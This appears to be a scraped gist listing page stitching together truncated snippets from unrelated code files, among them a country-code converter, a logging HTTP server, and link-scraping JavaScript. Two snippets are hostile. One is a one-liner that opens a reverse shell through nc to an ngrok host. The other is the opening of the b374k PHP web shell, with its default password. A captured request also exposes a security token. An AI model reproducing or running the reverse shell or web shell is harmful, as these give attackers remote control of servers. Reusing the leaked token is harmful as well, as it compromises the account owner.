This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST /restearnmobil/senk_yeni HTTP/1.1 | |
| Content-Length: 263 | |
| Content-Type: application/x-www-form-urlencoded | |
| Host: restearncloud.com | |
| Connection: Keep-Alive | |
| Accept-Encoding: gzip | |
| req=%7B%22insert%22%3A%5B%5D%2C%22update%22%3A%5B%5D%2C%22delete%22%3A%5B%5D%2C%22extra%22%3A%7B%22id%22%3A%2212040%22%2C%22city%22%3A%22konya%22%2C%22temp_key%22%3A%22ZmdlZ1LK8VO2pFhO202006262158346161%22%2C%22security_token%22%3A%22caXNnBzGd64wMX9jg2L9%22%7D%7D |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def convert2(threeDigit): | |
| """converts three digit country code to two digit country code""" | |
| codeMapping = { | |
| 'AFG':'AF', | |
| 'ALA':'AX', | |
| 'ALB':'AL', | |
| 'DZA':'DZ', | |
| 'ASM':'AS', | |
| 'AND':'AD', | |
| 'AGO':'AO', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import xml.etree.ElementTree as ET | |
| import xlrd | |
| from code3to2 import convert2 | |
| tree = ET.parse('data.xml') | |
| root = tree.getroot() | |
| wld = [] | |
| wldGdp = [] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| type oneko >/dev/null 2>&1 || { echo >&2 "I require oneko but it's not installed. Aborting."; exit 1; } | |
| array[0]="sakura" | |
| array[1]="tomoyo" | |
| array[2]="neko" | |
| array[3]="dog" | |
| array[4]="tora" | |
| allcolorsS=$(awk -F ' ' '{print $4}' /etc/X11/rgb.txt | tr "\n" " "); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import json | |
| import re | |
| def getUrlAsGoogle(coolUrl): | |
| while True: | |
| try: | |
| coolUrl = "https://docs.google.com/viewer?url=" + coolUrl | |
| req = requests.get(coolUrl, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| from http.server import BaseHTTPRequestHandler, HTTPServer | |
| import logging | |
| class S(BaseHTTPRequestHandler): | |
| def do_GET(self): | |
| logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) | |
| self.send_response(200) | |
| self.send_header('Content-type', 'text/html') | |
| self.end_headers() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sed -i '/^authtoken:.*/a tunnels:' ~/.ngrok2/ngrok.yml && pm2 reload all; mkfifo kv; cat kv | /bin/bash -i 2>&1 | nc 4.tcp.ngrok.io 18345 > kv |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var x = document.querySelectorAll("a"); | |
| var myarray = [] | |
| for (var i=0; i<x.length; i++){ | |
| var nametext = x[i].textContent; | |
| var cleantext = nametext.replace(/\s+/g, ' ').trim(); | |
| var cleanlink = x[i].href; | |
| myarray.push([cleantext,cleanlink]); | |
| }; | |
| function make_table() { | |
| var table = '<table><thead><th>Name</th><th>Links</th></thead><tbody>'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| console.log('im in'); | |
| var userActive = true; | |
| function inactivityTime() { | |
| var time; | |
| // events | |
| window.onload = resetTime; | |
| window.onclick = resetTime; | |
| window.onkeypress = resetTime; | |
| window.ontouchstart = resetTime; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $s_pass = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // default password : b374k (login and change to new password) | |
| $s_ver = "2.8"; // shell ver | |
| $s_title = "b374k ".$s_ver; // shell title | |
| $s_login_time = 3600 * 24 * 7; // cookie time (login) | |
| $s_debug = false; // debugging mode | |
| @ob_start(); |